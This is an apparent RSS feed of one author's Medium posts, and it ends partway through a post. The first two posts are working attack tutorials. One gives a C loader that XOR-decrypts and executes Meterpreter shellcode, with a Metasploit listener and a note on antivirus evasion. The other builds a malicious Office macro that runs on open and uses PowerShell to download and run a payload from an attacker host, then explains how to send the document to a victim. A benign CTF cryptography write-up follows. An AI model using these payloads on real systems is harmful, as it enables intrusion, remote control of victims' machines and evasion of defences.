<br>.\encryptor.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-vIPaQr09E54M_u_IA3c2g.png" /></figure><p>3. Write a C program to decrypt and execute the shellcode.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;<br><br>unsigned char shellcode[] = <br><br>&quot;\x8a\x2d\xf1\x9d\x98\x89\xbe\x64\x6b\x65\x38\x27\x24\x22\x2b\x20\x50\xa0\x01\x23\xee\x2b\x16\x34\x24\x31\xe3\x33\x6a\x2c\xe0\x37\x59\x3e\xee\x00\x29\x25\x50\xbb\x2c\x64\xd2\x33\x3c\x2d\x43\xb9\xc4\x5d\x13\x18\x69\x49\x59\x37\xa4\xbb\x74\x29\x60\xb3\x86\x86\x37\x31\xfd\x37\x52\x38\x39\xea\x30\x58\x23\x64\xa9\x10\xe4\x0a\x61\x63\x63\x7d\xe1\x19\x65\x79\x76\xee\xf2\xf1\x68\x61\x72\x2c\xee\xa5\x0d\x11\x2d\x73\xa9\x38\xea\x3a\x7c\x2f\xee\x39\x56\x2c\x73\xa9\x8b\x37\x3f\x55\xa2\x2d\x86\xbf\x24\xf9\x4d\xe0\x29\x73\xb2\x23\x54\xb9\x37\xa4\xbb\x74\xc4\x20\x73\xa5\x53\x85\x0c\x87\x29\x71\x35\x4c\x69\x37\x5d\xba\x10\xa1\x2e\x21\xf9\x39\x4c\x28\x73\xb4\x0d\x24\xf2\x7a\x2d\x36\xf2\x28\x7d\x3b\x65\xbb\x24\xf2\x72\xed\x3a\x78\xb8\x20\x2a\x25\x33\x3b\x20\x2c\x24\x2a\x38\x31\x20\x28\x2c\xe8\x89\x59\x37\x37\x8d\x99\x30\x20\x2b\x3e\x23\xee\x6b\x9f\x2e\x8d\x86\x97\x3c\x3b\xda\x1c\x16\x4b\x29\x56\x40\x79\x68\x20\x24\x2d\xe2\x83\x31\xf7\x89\xd2\x78\x68\x61\x3b\xed\x8e\x2c\xc5\x74\x65\x63\x22\xa8\xc9\x16\xc3\x2a\x31\x30\xff\x81\x3e\xf0\x99\x20\xc8\x28\x1c\x43\x7e\x89\xb0\x3e\xf0\x82\x09\x73\x65\x6b\x65\x20\x37\xdf\x5b\xf9\x03\x61\x8d\xb1\x01\x6f\x38\x28\x35\x22\x34\x59\xa8\x3f\x55\xab\x2d\x86\xb6\x2d\xfb\xbb\x20\x9e\xb2\x2c\xe2\xa4\x38\xcc\x8f\x7d\xa6\x88\x9e\xa7\x2c\xe2\xa2\x13\x66\x24\x2a\x35\xe1\x83\x3a\xed\x92\x24\xc3\xef\xc0\x06\x18\x97\xb4\xf7\xa4\x1f\x6f\x30\x89\xab\x07\x9c\x80\xf2\x72\x64\x6b\x2d\xfa\x9a\x75\x3a\xf0\x8a\x2c\x43\xad\x01\x61\x38\x2e\x2d\xfb\x80\x29\xdb\x70\xbd\xa3\x3a\x86\xa3\xe6\x8a\x79\x16\x34\x3a\xe7\xaf\x45\x27\xff\x93\x18\x39\x29\x38\x1a\x64\x7b\x65\x79\x37\x3d\x3a\xf0\x9a\x29\x43\xad\x2a\xdf\x21\xd2\x36\x97\x86\xbd\x29\xfb\xa7\x22\xec\xbe\x3b\x54\xbb\x30\xe1\x91\x3a\xed\xb1\x2d\xf0\x8f\x24\xc8\x7b\xb1\xa9\x2d\x9b\xbe\xe6\x81\x76\x18\x5a\x21\x29\x36\x2b\x0c\x6b\x25\x79\x76\x24\x2a\x13\x68\x3b\x33\xde\x60\x4a\x76\x46\x9a\xa7\x2e\x31\x20\xc8\x11\x05\x28\x18\x89\xb0\x3b\x86\xa6\x88\x4e\x9b\x94\x9a\x31\x77\xa6\x3a\x50\xae\x29\xf7\x92\x1e\xd1\x38\x89\x82\x2a\x13\x68\x38\x3b\xa3\xa9\x95\xcc\xd4\x33\x8d\xac&quot;;<br><br>int main()<br>{<br> char key[] = &quot;veryhardkey&quot;;<br> int i = 0;<br> <br> for (i; i&lt;sizeof(shellcode) - 1; i++){<br>  shellcode[i] = shellcode[i]^key[i%11];<br>  <br> }<br> <br> void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);<br> memcpy(exec, shellcode, sizeof shellcode);<br> ((void(*)())exec)();<br>   <br>    return 0;<br><br>}</pre><p>This program executes the shellcode, but prior to execution, there is a routine that decrypts the shellcode.</p><p>4. Compiling the code(on windows).</p><pre>gcc -m64 -g -Wall rev-enc.c -o rev-enc.exe</pre><p>5. Setup the listener and execute the compiled program.</p><p>On your linux machine setup your metasploit listener.</p><pre>use exploit/multi/handler<br>set payload windows/x64/meterpreter/reverse_tcp<br>set lhost 192.168.100.167<br>set lport 4443<br>exploit</pre><p>Execute the program to get the reverse shell of the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FEGXdMquBxigTNupZBqNPg.png" /></figure><p>When uploaded to VirusTotal, only 8 out of 71 detection were triggered, indicating that our technique successfully evaded static detection in a significant number of AVs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xoNHHbfw9zz6vNL5o4tXYQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=895c7d468532" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Initial access using a Malicious Document(MalDoc)]]></title>
            <link>https://ainkun.medium.com/initial-access-using-a-malicious-document-maldoc-e2901a50f89d?source=rss-292ac73492------2</link>
            <guid isPermaLink="false">https://medium.com/p/e2901a50f89d</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[macro]]></category>
            <category><![CDATA[initial-access]]></category>
            <dc:creator><![CDATA[Hussain K.]]></dc:creator>
            <pubDate>Tue, 29 Aug 2023 07:45:32 GMT</pubDate>
            <atom:updated>2023-08-29T07:45:32.250Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*04XcC5EBWub7LE3V7FZemA.png" /></figure><h3>Setup:</h3><ol><li><strong>Linux environment(Attacker)</strong></li></ol><ul><li>Metasploit</li><li>Python</li></ul><p>2. <strong>Windows environment(Target)</strong></p><ul><li>Disabled windows defender</li><li>MS Office</li></ul><h3>1. Developing a Malicious Document (MalDoc): Techniques and Considerations</h3><p>First, we will create a document containing an embedded macro. When the document is opened, the macro will automatically execute, initiating the download of a malicious Meterpreter payload and subsequently executing it.</p><p>Follow the steps:</p><ol><li>Create any MS document file with the name of your choice.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*6T-23ZD9ygBnCs0X1OYAPA.png" /></figure><p>2. Open the document and go to the View menu. From there, choose the Macro option and select View Macro.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dT5xzmQ1e26qVuEo806jcg.png" /></figure><p>3. Provide a name for your macro and select a name for the document where you want to save the macro. Finally, click on the Create button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*h7uGxp6Df4VyBMaCZlhHkg.png" /></figure><p>4. Copy the vb code below replacing your target IP and PORT.</p><pre>Sub Exec()<br>  Dim shell<br>  Set shell = CreateObject(&quot;WScript.Shell&quot;)<br><br>  Dim scriptName<br>  scriptName = &quot;test.exe&quot;<br><br>  Dim scriptPath<br>  scriptPath = shell.CurrentDirectory &amp; &quot;\&quot; &amp; scriptName<br><br>  Dim command<br>  command = &quot;powershell -ExecutionPolicy Bypass -Command &quot;&quot;$webClient = New-Object System.Net.WebClient; $sourceUrl = &#39;http://192.168.186.130:8000/&quot; &amp; scriptName &amp; &quot;&#39;; $destinationPath = &#39;&quot; &amp; scriptPath &amp; &quot;&#39;; $webClient.DownloadFile($sourceUrl, $destinationPath); &amp; &#39;&quot; &amp; scriptPath &amp; &quot;&#39;&quot;&quot;&quot;<br><br>  shell.Run command, 0, True<br><br>End Sub<br><br>Sub AutoOpen()<br>  Exec<br>End Sub</pre><p>The provided VBA code downloads an executable file from a specified URL and saves it to the current directory. It then executes the downloaded file using the Windows Script Shell. The code is triggered when the workbook containing the code is opened.</p><p>5. Save and close the document.</p><h3>2. Generating and Staging a Meterpreter Executable from Metasploit</h3><p>Create a Windows executable on your attacker machine utilizing the msfvenom tool.</p><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.186.130 LPORT=4443 -f exe -o test.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6qkUJMQKwStcdpaR4QmAyQ.png" /></figure><p>Utilize the Python http.server module to host and distribute the payload.</p><pre>python3 -m http.server</pre><p>The payload should be saved in the same directory where the program is run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*ny8OIWLd4mQSblLqZxE6kQ.png" /></figure><h3>3. Execution and reverse shell</h3><p>To configure the listener in the Metasploit Framework, follow the below commads.</p><pre>msfconsole<br>use exploit/multi/handler<br>set payload windows/x64/meterpreter/reverse_tcp<br>set lhost 192.168.186.130<br>set lport 4443<br>exploit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XA7MwrVvcX0S7jSn84MzfA.png" /></figure><p>Once the listener is actively waiting for connections, proceed with sending the malicious document to the intended victim. Then, assuming the role of the victim, open the document and click on the button that enables the document’s functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y6vg8dW1KAPSL5zFGVundw.png" /></figure><p>This will pop up a reverse meterpreter shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nFtTi1E1aWI64qkJz7hvZg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e2901a50f89d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Crypto Conspiracy | Part 4 | HTB: CA & PicoCTF 2023]]></title>
            <link>https://ainkun.medium.com/crypto-conspiracy-part-4-htb-ca-picoctf-2023-2480a39b264f?source=rss-292ac73492------2</link>
            <guid isPermaLink="false">https://medium.com/p/2480a39b264f</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Hussain K.]]></dc:creator>
            <pubDate>Fri, 14 Apr 2023 05:42:16 GMT</pubDate>
            <atom:updated>2025-04-25T06:31:45.536Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aGMl-bzXZtTJkmAsAMUsPA.png" /></figure><p>Hello readers! Welcome to the fourth installment of this series. It’s been a while since I posted. A lot has been happening, which kept me busy and caused delays. My biggest enemy, procrastination, has also played a significant role in the delay of this post.</p><p>Along with another cute anime detective girl, this post will cover a few crypto challenges from Hackthebox — Cyber Apocalypse 2023 and PicoCTF 2023, which coincidentally were happening at the same time.</p><h3>1. HackTheBox: Cyber Apocalypse — 2023</h3><h3>1.1 Ancient Encodings</h3><p>After extracting the compressed file named crypto_ancient_encodings.zip, a folder was obtained. This folder contained two files: source.py and output.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ro4HUDtoyT7sjQCk2YuIoQ.png" /></figure><p>Contents of source.py:</p><pre>from Crypto.Util.number import bytes_to_long<br>from base64 import b64encode<br><br>FLAG = b&quot;HTB{??????????}&quot;<br><br><br>def encode(message):<br>    return hex(bytes_to_long(b64encode(message)))<br><br><br>def main():<br>    encoded_flag = encode(FLAG)<br>    with open(&quot;output.txt&quot;, &quot;w&quot;) as f:<br>        f.write(encoded_flag)<br><br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>Contents of <strong><em>output.txt</em></strong>:</p><pre>0x53465243657a467558336b7764584a66616a4231636d347a655639354d48566664326b786246397a5a544e66644767784e56396c626d4d775a4446755a334e665a58597a636e6c33614756794d33303d</pre><p><strong>Analysis</strong>:</p><p>The code performs Base64 encoding on the flag, then converts the resulting encoding into a long integer, and finally converts it to hexadecimal before saving it in the output.txt file.</p><p><strong>Solution</strong>:</p><p>To retrieve the original flag, we can reverse the process by performing the steps in the reverse order. The following code snippet can automate this task.</p><pre>from base64 import b64decode<br>enc = open(&quot;output.txt&quot;).read()<br>print(b64decode(bytes.fromhex(enc[2:])).decode())</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*phvxl3zfF_ENnZO_HlnCJA.png" /></figure><p>Flag: <em>HTB{1n_y0ur_j0urn3y_y0u_wi1l_se3_th15_enc0d1ngs_ev3rywher3}</em></p><h3>1.2 Small StEps</h3><p>The challenge offers a compressed file for download, as well as a server that can be accessed through the IP address and port number provided after launching the challenge instance.</p><p>Once the compressed file is unzipped, the server.py file for the challenge can be accessed.</p><p>Here is the source code of this file:</p><pre>from Crypto.Util.number import getPrime, bytes_to_long<br><br>FLAG = b&quot;HTB{???????????????}&quot;<br>assert len(FLAG) == 20<br><br><br>class RSA:<br><br>    def __init__(self):<br>        self.q = getPrime(256)<br>        self.p = getPrime(256)<br>        self.n = self.q * self.p<br>        self.e = 3<br><br>    def encrypt(self, plaintext):<br>        plaintext = bytes_to_long(plaintext)<br>        return pow(plaintext, self.e, self.n)<br><br><br>def menu():<br>    print(&#39;[E]ncrypt the flag.&#39;)<br>    print(&#39;[A]bort training.\n&#39;)<br>    return input(&#39;&gt; &#39;).upper()[0]<br><br><br>def main():<br>    print(&#39;This is the second level of training.\n&#39;)<br>    while True:<br>        rsa = RSA()<br>        choice = menu()<br><br>        if choice == &#39;E&#39;:<br>            encrypted_flag = rsa.encrypt(FLAG)<br>            print(f&#39;\nThe public key is:\n\nN: {rsa.n}\ne: {rsa.e}\n&#39;)<br>            print(f&#39;The encrypted flag is: {encrypted_flag}\n&#39;)<br>        elif choice == &#39;A&#39;:<br>            print(&#39;\nGoodbye\n&#39;)<br>            exit(-1)<br>        else:<br>            print(&#39;\nInvalid choice!\n&#39;)<br>            exit(-1)<br><br><br>if __name__ == &#39;__main__&#39;:<br>    main()</pre><p>At the time if writing this writeup, the access to the server is not available. Thankfully, I already copied the output at the time of solving.</p><p>Connecting to the server outputs the modulo-N, public exponent e and the ciphertext c.</p><pre>N: 9001100467552486969553229765203658410516172280078199709205226979005433439647792509243329495101889932329462050137390960223836162647640453330906371967229537<br>e: 3<br>The encrypted flag is: 70407336670535933819674104208890254240063781538460394662998902860952366439176467447947737680952277637330523818962104685553250402512989897886053</pre><p><strong>Analysis</strong>:</p><p>The challenge source code implements RSA algorithm. Upon a closer inspection, an unusual thing to notice is that the size of the <strong>redacted</strong> flag is significantly small. This builds up an assumption that this challenge can be solved using <strong>small exponent</strong> or <strong>Direct Root Attack</strong>. Considering the difficulty of the challenge this assumption turned out to be true.</p><p><strong>Explanation</strong>:</p><p>Lets first discuss that how this attack works, what causes this attack to work in the first place. This is not an RSA vulnerability as RSA is mathematically secure. The way its being implemented in the above source code raise concerns.</p><p>It often happens that m(message) to be sent isn’t larger than n after exponentiating with e. This makes the whole RSA encryption pointless as m can be retrieved easily by getting the e-th root of the ct. To counter, <em>m</em> goes through padding first.</p><p>Following is a simple mathematical representation of the above explanation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/207/1*2UNN-4Qib5JD16D4WqTmtA.png" /></figure><p>You can read further about it <a href="https://crypto.stackexchange.com/questions/33561/cube-root-attack-rsa-with-low-exponent">here</a>.</p><p><strong>Solution</strong>:</p><p>To solve, we can write a small python snippet to recover the flag.</p><pre>import gmpy2<br>N = 9001100467552486969553229765203658410516172280078199709205226979005433439647792509243329495101889932329462050137390960223836162647640453330906371967229537<br>e = 3<br>ct = 70407336670535933819674104208890254240063781538460394662998902860952366439176467447947737680952277637330523818962104685553250402512989897886053<br>pt = gmpy2.iroot(ct,e)[0]  #pt = ᵉ√ct<br>print(bytes.fromhex(hex(pt)[2:]).decode())</pre><p>Script execution:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PktVujrVmxKP3Dfro-IzoA.png" /></figure><p>Flag: <em>HTB{5ma1l_E-xp0n3nt}</em></p><h3>1.3 Perfect Synchronization</h3><p>The challenge provides a zip file containing the challenge script source.py and output.txt.</p><p>Contents of <em>source.py</em>:</p><pre>from os import urandom<br>from Crypto.Cipher import AES<br>from secret import MESSAGE<br><br>assert all([x.isupper() or x in &#39;{_} &#39; for x in MESSAGE])<br><br>class Cipher:<br>    def __init__(self):<br>        self.salt = urandom(15)<br>        key = urandom(16)<br>        self.cipher = AES.new(key, AES.MODE_ECB)<br>    def encrypt(self, message):<br>        return [self.cipher.encrypt(c.encode() + self.salt) for c in message]<br><br>def main():<br>    cipher = Cipher()<br>    encrypted = cipher.encrypt(MESSAGE)<br>    encrypted = &quot;\n&quot;.join([c.hex() for c in encrypted])<br>    with open(&quot;output.txt&quot;, &#39;w+&#39;) as f:<br>        f.write(encrypted)<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>Partial contents of <em>output.txt</em>:</p><pre>.<br>.<br>.<br>68d763bc4c7a9b0da3828e0b77b08b64<br>e9b131ab270c54bbf67fb4bd9c8e3177<br>200ecd2657df0197f202f258b45038d8<br>68d763bc4c7a9b0da3828e0b77b08b64<br>e9b131ab270c54bbf67fb4bd9c8e3177<br>457165130940ceac01160ac0ff924d86<br>200ecd2657df0197f202f258b45038d8<br>61331054d82aeec9a20416759766d9d5<br>8cbd4cfebc9ddf583a108de1a69df088<br>dfc8a2232dc2487a5455bda9fa2d45a1<br>61331054d82aeec9a20416759766d9d5<br>68d763bc4c7a9b0da3828e0b77b08b64<br>3a17ebebf2bad9aa0dd75b37a58fe6ea<br>.<br>.<br>.</pre><p><strong>Analysis</strong>:</p><p>The code initially make sures that all characters of the MESSAGE are either uppercase(A-Z), curly brackets( &#39;{&#39; , &#39;}&#39; ) or underscore (_).</p><p>The code then uses the Cipher class to create an object cipher which during initialization, generates 16 bytes key and 15 bytes of random data stored as an attribute of the object named salt.</p><p>The code then iterates through all the characters of MESSAGE, concatenate it with the 15 bytes salt random data and AES encrypts using the the key. The encrypted data is first converted into hexadecimal format and saved in a file called output.txt.</p><p><strong>Approach</strong>:</p><p>Each character in the MESSAGE is combined with a common random salt, and whenever a character is repeated in the MESSAGE, the same encrypted output is repeated.</p><p>We can use <em>Frequency Analysis</em> after substituting every repeating encrypted data with a random character.</p><p>Here is a small snippet from <a href="https://en.wikipedia.org/wiki/Frequency_analysis">Wikipedia</a>:</p><blockquote><em>In cryptanalysis, frequency analysis (also known as counting letters) is the study of the frequency of letters or groups of letters in a ciphertext. The method is used as an aid to breaking classical ciphers.</em></blockquote><blockquote><em>Frequency analysis is based on the fact that, in any given stretch of written language, certain letters and combinations of letters occur with varying frequencies.</em></blockquote><p>But here is the problem, there are to <strong>two curly brackets</strong>, <strong>spaces</strong> and <strong>underscores</strong> which are inside the MESSAGE and needed to be figured out before random substitution.</p><p>Here is the list of instructions for the special case which I followed:</p><ol><li>The cipher output with both open(“{“) and close(“}”) curly brackets as an input won’t repeat.</li><li>The first cipher is with opening bracket as its plaintext while the latter is with closing.</li><li>The format of the flag is HTB{.....}. If the encrypted output of one step after the closing bracket&#39;s cipher and four steps before the opening bracket&#39;s cipher matches, that specific ciphertext is substituted with spaces(&quot; &quot;).</li><li>If the ciphers between the curly brackets doesn’t matches with ciphers outside the bracket, those will be substituted with underscores.</li></ol><p>After applying the above instructions, substitute all the remaining matching ciphers with random alphabets(A-Z).</p><p><strong>Solution</strong>:</p><p>I solved this challenge manually, coming up with the above rules during trial and error. Used classic “Find-replace” to substitute alphabets and special characters.</p><p>For the sake of writeup, I wrote a script that applies all the above instructions on the output file. While scripting, I completely butchered programming efficiency, not following any rules. Somehow after a while was able to have my script running and decided not to modify it. As the saying goes, “If the code works, don’t touch it!”.</p><pre>output = [] #List from output.txt<br><br>l = len(output)<br><br>#cat output.txt | sort| uniq -c<br>values = [<br>[8, &#39;0df9b4e759512f36aaa5c7fd4fb1fba8&#39;],<br>[104, &#39;200ecd2657df0197f202f258b45038d8&#39;],<br>[31, &#39;2190a721b2dcb17ff693aa5feecb3b58&#39;],<br>[8, &#39;293f56083c20759d275db846c8bfb03e&#39;],<br>[5, &#39;2fc20e9a20605b988999e836301a2408&#39;],<br>[88, &#39;305d4649e3cb097fb094f8f45abbf0dc&#39;],<br>[84, &#39;34ece5ff054feccc5dabe9ae90438f9d&#39;],<br>[45, &#39;3a17ebebf2bad9aa0dd75b37a58fe6ea&#39;],<br>[54, &#39;457165130940ceac01160ac0ff924d86&#39;],<br>[22, &#39;4a3af0b7397584c4d450c6f7e83076aa&#39;],<br>[2, &#39;5ae172c9ea46594cea34ad1a4b1c79cd&#39;],<br>[34, &#39;5d7185a6823ab4fc73f3ea33669a7bae&#39;],<br>[103, &#39;5f122076e17398b7e21d1762a61e2e0a&#39;],<br>[7, &#39;60e8373bfb2124aea832f87809fca596&#39;],<br>[230, &#39;61331054d82aeec9a20416759766d9d5&#39;],<br>[19, &#39;66975492b6a53cc9a4503c3a1295b6a7&#39;],<br>[100, &#39;68d763bc4c7a9b0da3828e0b77b08b64&#39;],<br>[23, &#39;78de2d97da222954cce639cc4b481050&#39;],<br>[75, &#39;8cbd4cfebc9ddf583a108de1a69df088&#39;],<br>[22, &#39;9673dbe632859fa33b8a79d6a3e3fe30&#39;],<br>[4, &#39;a94f49727cf771a85831bd03af1caaf5&#39;],<br>[1, &#39;c53ba24fbbe9e3dbdd6062b3aab7ed1a&#39;],<br>[142, &#39;c87a7eb9283e59571ad0cb0c89a74379&#39;],<br>[41, &#39;d178fac67ec4e9d2724fed6c7b50cd26&#39;],<br>[31, &#39;dfc8a2232dc2487a5455bda9fa2d45a1&#39;],<br>[37, &#39;e23c1323abc1fc41331b9cdfc40d5856&#39;],<br>[87, &#39;e9b131ab270c54bbf67fb4bd9c8e3177&#39;],<br>[61, &#39;f89f2719fb2814d9ab821316dae9862f&#39;],<br>[10, &#39;fb78aed37621262392a4125183d1bfc9&#39;],<br>[1, &#39;fbe86a428051747607a35b44b1a3e9e9&#39;]]<br><br>curly_bracs = [brac[1] for brac in values if brac[0] == 1]<br><br># Fiding space<br>#&lt;space&gt;HTB{.....}&lt;space&gt;<br><br>brac_loc = [i for i in range(l) if output[i] in curly_bracs]<br><br>if output[brac_loc[0]-4] == output[brac_loc[1]+1]:<br> space = output[brac_loc[1]+1]<br><br><br>#finding _<br>uscr = None<br>for i in range(brac_loc[0]+1,brac_loc[1]):<br> for j in range(brac_loc[0]):<br>  if output[j] == output[i]:<br>   break<br>  elif j == brac_loc[0]-1:<br>   uscr = i<br> if uscr:<br>  break<br><br>spec = [space, output[brac_loc[0]], output[brac_loc[1]], output[uscr]]<br>a = [&#39; &#39;, &#39;{&#39;, &#39;}&#39;, &#39;_&#39;]<br>s = list(zip(spec,a))<br><br>#removing<br><br>table = []<br>for i in range(len(values)):<br> if not(values[i][1] in spec):<br>  table.append(values[i][1])<br><br>#creating dic<br><br>dic = {}<br><br>for i in range(26):<br> dic[table[i]] = str(chr(65+i))<br>for u in s:<br> dic[u[0]] = u[1]<br><br>#replacing<br><br>for i in range(l):<br> output[i] = dic[output[i]]<br><br>print(&#39;&#39;.join(output))</pre><p>The original script can be found on my <a href="https://raw.githubusercontent.com/ainkun/ctf-writeups/main/htb/CA2023/crypto/Perfect-Synchronization/crypto_perfect_synchronization/solve.py">github</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NN9xoevWkyVml012BqYYaw.png" /></figure><p>The produced output:</p><pre>VFTNUTGIL MGMYLBXB XB SMBTW RG PHT VMIP PHMP XG MGL QXATG BPFTPIH RV OFXPPTG YMGQUMQT ITFPMXG YTPPTFB MGW IRJSXGMPXRGB RV YTPPTFB RIIUF OXPH AMFLXGQ VFTNUTGIXTB JRFTRATF PHTFT XB M IHMFMIPTFXBPXI WXBPFXSUPXRG RV YTPPTFB PHMP XB FRUQHYL PHT BMJT VRF MYJRBP MYY BMJCYTB RV PHMP YMGQUMQT XG IFLCPMGMYLBXB VFTNUTGIL MGMYLBXB MYBR ZGROG MB IRUGPXGQ YTPPTFB XB PHT BPUWL RV PHT VFTNUTGIL RV YTPPTFB RF QFRUCB RV YTPPTFB XG M IXCHTFPTEP PHT JTPHRW XB UBTW MB MG MXW PR SFTMZXGQ IYMBBXIMY IXCHTFB VFTNUTGIL MGMYLBXB FTNUXFTB RGYL M SMBXI UGWTFBPMGWXGQ RV PHT BPMPXBPXIB RV PHT CYMXGPTEP YMGQUMQT MGW BRJT CFRSYTJ BRYAXGQ BZXYYB MGW XV CTFVRFJTW SL HMGW PRYTFMGIT VRF TEPTGBXAT YTPPTF SRRZZTTCXGQ WUFXGQ ORFYW OMF XX SRPH PHT SFXPXBH MGW PHT MJTFXIMGB FTIFUXPTW IRWTSFTMZTFB SL CYMIXGQ IFRBBORFW CUDDYTB XG JMKRF GTOBCMCTFB MGW FUGGXGQ IRGPTBPB VRF OHR IRUYW BRYAT PHTJ PHT VMBPTBP BTATFMY RV PHT IXCHTFB UBTW SL PHT MEXB CROTFB OTFT SFTMZMSYT UBXGQ VFTNUTGIL MGMYLBXB VRF TEMJCYT BRJT RV PHT IRGBUYMF IXCHTFB UBTW SL PHT KMCMGTBT JTIHMGXIMY JTPHRWB RV YTPPTF IRUGPXGQ MGW BPMPXBPXIMY MGMYLBXB QTGTFMYYL HPS{M_BXJCYT_BUSBPXPUPXRG_XB_OTMZ} IMFW PLCT JMIHXGTFL OTFT VXFBP UBTW XG ORFYW OMF XX CRBBXSYL SL PHT UB MFJLB BXB PRWML PHT HMFW ORFZ RV YTPPTF IRUGPXGQ MGW MGMYLBXB HMB STTG FTCYMITW SL IRJCUPTF BRVPOMFT OHXIH IMG IMFFL RUP BUIH MGMYLBXB XG BTIRGWB OXPH JRWTFG IRJCUPXGQ CROTF IYMBBXIMY IXCHTFB MFT UGYXZTYL PR CFRAXWT MGL FTMY CFRPTIPXRG VRF IRGVXWTGPXMY WMPM CUDDYT CUDDYT CUDDYT</pre><p>Now slapping the above output into this website <a href="https://quipqiup.com/">quipquip</a>, will do its frequency analysis magic and produce the desire result with the flag hidden.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IkkUaMOeIik7ZIHku3i-FA.png" /></figure><pre>FREQUENCY ANALYSIS IS BASED ON THE FACT THAT IN ANY GIVEN STRETCH OF WRITTEN LANGUAGE CERTAIN LETTERS AND COMBINATIONS OF LETTERS OCCUR WITH VARYING FREQUENCIES MOREOVER THERE IS A CHARACTERISTIC DISTRIBUTION OF LETTERS THAT IS ROUGHLY THE SAME FOR ALMOST ALL SAMPLES OF THAT LANGUAGE IN CRYPTANALYSIS FREQUENCY ANALYSIS ALSO KNOWN AS COUNTING LETTERS IS THE STUDY OF THE FREQUENCY OF LETTERS OR GROUPS OF LETTERS IN A CIPHERTEXT THE METHOD IS USED AS AN AID TO BREAKING CLASSICAL CIPHERS FREQUENCY ANALYSIS REQUIRES ONLY A BASIC UNDERSTANDING OF THE STATISTICS OF THE PLAINTEXT LANGUAGE AND SOME PROBLEM SOLVING SKILLS AND IF PERFORMED BY HAND TOLERANCE FOR EXTENSIVE LETTER BOOKKEEPING DURING WORLD WAR II BOTH THE BRITISH AND THE AMERICANS RECRUITED CODEBREAKERS BY PLACING CROSSWORD PUZZLES IN MAJOR NEWSPAPERS AND RUNNING CONTESTS FOR WHO COULD SOLVE THEM THE FASTEST SEVERAL OF THE CIPHERS USED BY THE AXIS POWERS WERE BREAKABLE USING FREQUENCY ANALYSIS FOR EXAMPLE SOME OF THE CONSULAR CIPHERS USED BY THE JAPANESE MECHANICAL METHODS OF LETTER COUNTING AND STATISTICAL ANALYSIS GENERALLY HTB{A_SIMPLE_SUBSTITUTION_IS_WEAK} CARD TYPE MACHINERY WERE FIRST USED IN WORLD WAR II POSSIBLY BY THE US ARMYS SIS TODAY THE HARD WORK OF LETTER COUNTING AND ANALYSIS HAS BEEN REPLACED BY COMPUTER SOFTWARE WHICH CAN CARRY OUT SUCH ANALYSIS IN SECONDS WITH MODERN COMPUTING POWER CLASSICAL CIPHERS ARE UNLIKELY TO PROVIDE ANY REAL PROTECTION FOR CONFIDENTIAL DATA PUZZLE PUZZLE PUZZLE</pre><p>Flag: <em>HTB{A_SIMPLE_SUBSTITUTION_IS_WEAK}</em></p><h3>1.4 Multipage Recyclings</h3><p>The challenge provides a zip file containing the challenge script source.py and output.txt.</p><p>Contents of <em>source.py</em>:</p><pre>from Crypto.Cipher import AES<br>from Crypto.Util.Padding import pad<br>import random, os<br><br>FLAG = b&#39;HTB{??????????????????????}&#39;<br><br>class CAES:<br>    def __init__(self):<br>        self.key = os.urandom(16)<br>        self.cipher = AES.new(self.key, AES.MODE_ECB)<br>    def blockify(self, message, size):<br>        return [message[i:i + size] for i in range(0, len(message), size)]<br>    def xor(self, a, b):<br>        return b&#39;&#39;.join([bytes([_a ^ _b]) for _a, _b in zip(a, b)])<br>    def encrypt(self, message):<br>        iv = os.urandom(16)<br>        ciphertext = b&#39;&#39;<br>        plaintext = iv<br>        blocks = self.blockify(message, 16)<br>        for block in blocks:<br>            ct = self.cipher.encrypt(plaintext)<br>            encrypted_block = self.xor(block, ct)<br>            ciphertext += encrypted_block<br>            plaintext = encrypted_block<br>        return ciphertext<br>    def leak(self, blocks):<br>        r = random.randint(0, len(blocks) - 2)<br>        leak = [self.cipher.encrypt(blocks[i]).hex() for i in [r, r + 1]]<br>        return r, leak<br><br>def main():<br>    aes = CAES()<br>    message = pad(FLAG * 4, 16)<br>    ciphertext = aes.encrypt(message)<br>    ciphertext_blocks = 